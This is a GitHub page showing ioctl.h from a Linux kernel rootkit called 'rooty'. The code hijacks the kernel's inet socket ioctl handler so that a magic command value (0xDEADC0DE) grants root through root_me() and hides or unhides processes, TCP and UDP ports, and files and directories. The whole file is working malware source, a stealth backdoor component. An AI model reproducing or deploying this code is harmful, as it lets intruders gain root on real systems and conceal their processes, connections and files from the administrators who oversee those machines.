-
Notifications
You must be signed in to change notification settings - Fork 16
/
ioctl.h
224 lines (194 loc) · 5.77 KB
/
ioctl.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#define AUTH_TOKEN 0xDEADC0DE
struct s_args
{
unsigned short cmd;
void *ptr;
};
struct s_proc_args
{
unsigned short pid;
};
struct s_file_args
{
char *name;
unsigned short namelen;
};
static int (*inet_ioctl)(struct socket *, unsigned int, unsigned long);
void *get_inet_ioctl ( int family, int type, int protocol )
{
void *ret;
struct socket *sock = NULL;
if ( sock_create(family, type, protocol, &sock) )
return NULL;
ret = sock->ops->ioctl;
sock_release(sock);
return ret;
}
static long n_inet_ioctl ( struct socket *sock, unsigned int cmd, unsigned long arg )
{
int ret;
struct s_args args;
if ( cmd == AUTH_TOKEN )
{
ret = copy_from_user(&args, (void *)arg, sizeof(args));
if ( ret )
return 0;
switch ( args.cmd )
{
case 0:
root_me();
break;
case 1:
{
struct s_proc_args proc_args;
ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Hiding PID %hu\n", proc_args.pid);
hide_proc(proc_args.pid);
}
break;
case 2:
{
struct s_proc_args proc_args;
ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Unhiding PID %hu\n", proc_args.pid);
unhide_proc(proc_args.pid);
}
break;
case 3:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Hiding TCPv4 port %hu\n", port_args.port);
hide_tcp4_port(port_args.port);
}
break;
case 4:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Unhiding TCPv4 port %hu\n", port_args.port);
unhide_tcp4_port(port_args.port);
}
break;
case 5:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Hiding TCPv6 port %hu\n", port_args.port);
hide_tcp6_port(port_args.port);
}
break;
case 6:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Unhiding TCPv6 port %hu\n", port_args.port);
unhide_tcp6_port(port_args.port);
}
break;
case 7:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Hiding UDPv4 port %hu\n", port_args.port);
hide_udp4_port(port_args.port);
}
break;
case 8:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Unhiding UDPv4 port %hu\n", port_args.port);
unhide_udp4_port(port_args.port);
}
break;
case 9:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Hiding UDPv6 port %hu\n", port_args.port);
hide_udp6_port(port_args.port);
}
break;
case 10:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
printk("rooty: IOCTL->Unhiding UDPv6 port %hu\n", port_args.port);
unhide_udp6_port(port_args.port);
}
break;
case 11:
{
char *name;
struct s_file_args file_args;
ret = copy_from_user(&file_args, args.ptr, sizeof(file_args));
if ( ret )
return 0;
name = kmalloc(file_args.namelen + 1, GFP_KERNEL);
if ( ! name )
return 0;
ret = copy_from_user(name, file_args.name, file_args.namelen);
if ( ret )
{
kfree(name);
return 0;
}
name[file_args.namelen] = 0;
printk("rooty: IOCTL->Hiding file/dir %s\n", name);
hide_file(name);
}
break;
case 12:
{
char *name;
struct s_file_args file_args;
ret = copy_from_user(&file_args, args.ptr, sizeof(file_args));
if ( ret )
return 0;
name = kmalloc(file_args.namelen + 1, GFP_KERNEL);
if ( ! name )
return 0;
ret = copy_from_user(name, file_args.name, file_args.namelen);
if ( ret )
{
kfree(name);
return 0;
}
name[file_args.namelen] = 0;
printk("rooty: IOCTL->Unhiding file/dir %s\n", name);
unhide_file(name);
kfree(name);
}
break;
default:
printk("rooty: IOCTL->Unknown command");
break;
}
return 0;
}
hijack_pause(inet_ioctl);
ret = inet_ioctl(sock, cmd, arg);
hijack_resume(inet_ioctl);
return ret;
}